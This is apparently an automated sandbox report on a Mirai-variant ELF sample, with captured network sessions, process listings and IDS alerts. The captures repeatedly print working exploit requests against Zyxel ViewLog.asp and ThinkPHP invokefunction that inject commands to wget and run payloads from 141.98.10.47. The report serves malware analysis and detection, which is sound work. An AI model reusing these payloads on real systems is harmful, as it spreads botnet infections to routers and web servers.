Session ID	Source IP	Source Port	Destination IP	Destination Port
669	192.168.2.23	55088	62.29.127.248	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:15.130208015 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
670	192.168.2.23	42072	95.86.124.111	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:15.144541979 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
671	192.168.2.23	39078	62.29.114.32	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:15.410847902 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
672	192.168.2.23	59748	88.212.241.124	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:15.878060102 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
673	192.168.2.23	40620	31.200.111.173	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:16.124984026 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
674	192.168.2.23	52116	95.97.251.27	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:16.132944107 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:26:16.392576933 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Tue, 26 Dec 2023 20:24:34 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>
Dec 26, 2023 21:26:17.200928926 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Tue, 26 Dec 2023 20:24:34 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
675	192.168.2.23	55398	95.35.112.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:16.216357946 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:26:16.543596983 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Wed, 20 Sep 2023 13:16:18 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
676	192.168.2.23	33642	31.136.8.61	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:16.373704910 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:26:17.124509096 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
677	192.168.2.23	55872	85.122.225.140	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:16.374974012 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
678	192.168.2.23	58978	94.120.22.169	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:16.403618097 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
679	192.168.2.23	59396	95.116.181.58	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:16.411752939 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:26:16.689110994 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 26 Dec 2023 20:26:16 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
680	192.168.2.23	43930	95.100.130.214	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:16.625250101 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
681	192.168.2.23	59376	95.116.181.58	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:16.844177008 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:26:17.107155085 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 26 Dec 2023 20:26:16 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
682	192.168.2.23	41382	95.164.185.61	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:16.854197025 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:26:17.126696110 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 26 Dec 2023 20:26:16 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

System Behavior

Analysis Process: D9UijsgjDB.elf PID: 6232, Parent PID: 6150

General

Start time (UTC):	20:22:42
Start date (UTC):	26/12/2023
Path:	/tmp/D9UijsgjDB.elf
Arguments:	/tmp/D9UijsgjDB.elf
File size:	68144 bytes
MD5 hash:	a960664371d41df2cf345e6c5e3e0fe6

Start time (UTC):	20:22:42
Start date (UTC):	26/12/2023
Path:	/tmp/D9UijsgjDB.elf
Arguments:	-
File size:	68144 bytes
MD5 hash:	a960664371d41df2cf345e6c5e3e0fe6

Start time (UTC):	20:22:42
Start date (UTC):	26/12/2023
Path:	/tmp/D9UijsgjDB.elf
Arguments:	-
File size:	68144 bytes
MD5 hash:	a960664371d41df2cf345e6c5e3e0fe6

Start time (UTC):	20:22:42
Start date (UTC):	26/12/2023
Path:	/tmp/D9UijsgjDB.elf
Arguments:	-
File size:	68144 bytes
MD5 hash:	a960664371d41df2cf345e6c5e3e0fe6

Start time (UTC):	20:22:42
Start date (UTC):	26/12/2023
Path:	/tmp/D9UijsgjDB.elf
Arguments:	-
File size:	68144 bytes
MD5 hash:	a960664371d41df2cf345e6c5e3e0fe6

Analysis Process: D9UijsgjDB.elf PID: 6237, Parent PID: 6235

General

Start time (UTC):	20:22:42
Start date (UTC):	26/12/2023
Path:	/tmp/D9UijsgjDB.elf
Arguments:	-
File size:	68144 bytes
MD5 hash:	a960664371d41df2cf345e6c5e3e0fe6

Analysis Process: D9UijsgjDB.elf PID: 6238, Parent PID: 6235

General

Start time (UTC):	20:22:42
Start date (UTC):	26/12/2023
Path:	/tmp/D9UijsgjDB.elf
Arguments:	-
File size:	68144 bytes
MD5 hash:	a960664371d41df2cf345e6c5e3e0fe6

Analysis Process: D9UijsgjDB.elf PID: 6240, Parent PID: 6235

General

Start time (UTC):	20:22:42
Start date (UTC):	26/12/2023
Path:	/tmp/D9UijsgjDB.elf
Arguments:	-
File size:	68144 bytes
MD5 hash:	a960664371d41df2cf345e6c5e3e0fe6

Start time (UTC):	20:22:42
Start date (UTC):	26/12/2023
Path:	/tmp/D9UijsgjDB.elf
Arguments:	-
File size:	68144 bytes
MD5 hash:	a960664371d41df2cf345e6c5e3e0fe6

Start time (UTC):	20:22:42
Start date (UTC):	26/12/2023
Path:	/tmp/D9UijsgjDB.elf
Arguments:	-
File size:	68144 bytes
MD5 hash:	a960664371d41df2cf345e6c5e3e0fe6

Source: D9UijsgjDB.elf	ReversingLabs: Detection: 70%
Source: D9UijsgjDB.elf	Virustotal: Detection: 68%			Perma Link

Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:40030 -> 88.85.89.10:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:60244 -> 112.155.160.2:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:54232 -> 88.97.102.139:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:50828 -> 95.86.82.97:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:53568 -> 95.27.225.17:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:45508 -> 95.101.5.248:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:56290 -> 88.99.91.175:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:55414 -> 95.101.68.122:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:44280 -> 95.86.115.228:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:43494 -> 95.142.37.209:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:46310 -> 95.209.153.170:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:59628 -> 95.215.160.108:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:42786 -> 95.209.136.194:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:52598 -> 88.99.167.168:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:53006 -> 95.179.206.252:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:35724 -> 95.179.201.242:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:47610 -> 95.101.10.102:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:42496 -> 95.100.69.122:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:51168 -> 95.68.67.54:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:57922 -> 95.217.81.178:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:35930 -> 95.100.170.68:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:50984 -> 95.216.74.202:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:41588 -> 95.86.74.218:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:37124 -> 95.100.131.37:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:53664 -> 95.217.240.3:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:46058 -> 95.55.197.82:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:35174 -> 112.197.254.30:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:53744 -> 88.221.166.151:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:51350 -> 88.99.27.141:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:60110 -> 88.225.243.133:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:33754 -> 112.168.100.148:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:41632 -> 88.219.41.1:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:37792 -> 88.210.102.98:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:37310 -> 88.208.28.186:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:51984 -> 112.169.252.37:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:44630 -> 95.66.173.225:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:42582 -> 95.46.32.38:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:49946 -> 95.100.13.184:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:53456 -> 88.209.212.13:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:52154 -> 112.184.24.46:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:41878 -> 95.100.81.135:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:51312 -> 95.179.132.190:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:36480 -> 88.221.66.89:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:46312 -> 88.248.2.123:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:50492 -> 88.79.225.174:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:48540 -> 88.221.164.43:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:40864 -> 95.131.48.136:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:40610 -> 95.165.146.112:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:36984 -> 88.198.205.37:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:58386 -> 88.99.71.251:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:50428 -> 88.146.114.37:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:36166 -> 88.99.224.93:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:48582 -> 88.221.164.43:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:44126 -> 112.158.92.81:80
